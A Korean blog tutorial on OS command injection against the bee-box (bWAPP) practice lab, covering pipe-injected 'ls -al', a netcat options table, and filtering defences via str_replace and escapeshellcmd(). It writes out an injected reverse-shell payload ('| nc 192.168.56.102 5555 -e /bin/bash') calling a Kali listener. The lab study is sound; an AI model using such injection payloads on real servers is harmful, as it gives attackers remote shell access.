power-girl0-0

OS 커맨드 인젝션 ( OS Command Injection ) 본문

웹해킹/Bee-Box

OS 커맨드 인젝션 ( OS Command Injection )

power-girl0-0 2020. 9. 17. 00:56
728x90

OS 커맨드 인젝션 ( OS Command Injection )란?

취약한 변수로 시스템 명령어를 주입하여 서버 운영체제에 접근하는 공격이다.

 

 

1.  해당 페이지는 nslookup 명령어를 사용하여 DNS 주소를 출력해주는 페이지다.

 

해당 페이지는 시스템 명령어를 사용하여 OS의 정보를 알아낼 수 있다는 것을 알 수 있다.



2. 파이프라인( | )을 활용하여 서버시스템이 가진 파일 목록을 출력해보겠다.

- 파이프 라인( | ) : 둘 이상의 명령어를 실행할 때 사용한다. (순서는 앞 명령어 후 뒤 명령어가 실행된다.)

- ls 명령어 : 현재 경로에 있는 파일 및 디렉터리를 출력해준다.

 

그렇다면 모든 파일의 정보를 출력해도록 하겠다. ( 명령어 : ls -al )

다음과 같이 파일의 접근 권한 등 시스템 명령어를 활용하여 서버 정보를 알아낼 수 있다.

 

3. netcat(넷캣) 명령어를 이용하여 비박스의 서버 정보를 외부에서 파악하기 위해 시도해보겠다.

- 환경 구축 : Kali

- netcat이란?

      1) 정의 : TCP나 UDP 프로토콜을 사용하는 네트워크 연결에서 데이터를 읽고 쓰는 역할

      2) 명령어 : nc [옵션] [포트]

      3) 옵션 : 

옵션 설명
-n 호스트 네임과 포트를 숫자로만 입력
-v verbosity를 증가(더 많은 정보를 얻을 수 있음)
-o 보내거나 받은 데이터를 헥스덤프하여 파일에 저장
-u UDP 연결
-p local port 지정
-s local ip address 지정
-l listen 모드로 port오픈
-z 최소한의 데이터로 연결

 

(1) nc -l -p 명령어를 사용하여 5555번 포트를 listen모드로 열어주고 넷캣을 실행한다.

 

(2) 넷캣과 연결한다.

 

- 칼리 리눅스의 IP주소와 포트번호를 입력하고 -e 옵션으로 bash셸을 실행한다.

  * 보안상 -e 옵션을 사용하면 공격자가 이처럼 활용할 수 있기 때문에 실무에서는 telnet명령어로 우회 공격하게 된다.

- 칼리 리눅스에서 비박스 서버의 정보를 알수있다.

      | nc 192.168.56.102 5555 -e /bin/bash

 

 

(3) 넷캣으로 연결될 때까지 페이지는 로딩상태가 되고 이때, Kali로 돌아가면 비박스인 서버정보를 확인할 수 있다.

 

 

 

대응방안

대응방안을 알기 위해 소스를 분석해 보겠다.

 

medium레벨은 commandi_check_1함수로 우회한 것을 볼 수 있으며, high레벨은 commandi_check_2함수로 우회한 것을 확인 할 수 있다.

그렇다면 함수에 대한 소스를 살펴보도록 하겠다.

medium레벨에서는 str_replace함수를 통해 기본적인 문자를 필터링한다.

세번째 인자가 가리키는 변수내의 내용중에 첫번째 인자를 두번째 인자값으로 바꿔 다시 반환하는 함수이다.

 

high레벨에서는 escapeshellcmd()라는 함수를 사용하였다.

해당 함수는 쉘 명령어로 보이는 문구들을 우회시켜주는 역할을 한다.

회피하는 특수 문자들로는 #,&,;,',|,*,?,~,<,>,^,(,),[,],{,},$,\,\x00,\xFF 등 많은 문자들을 우회해준다.

 

따라서 OS Command Injection은 escapeshellcmd()함수를 사용하여 대응한다.



728x90
Comments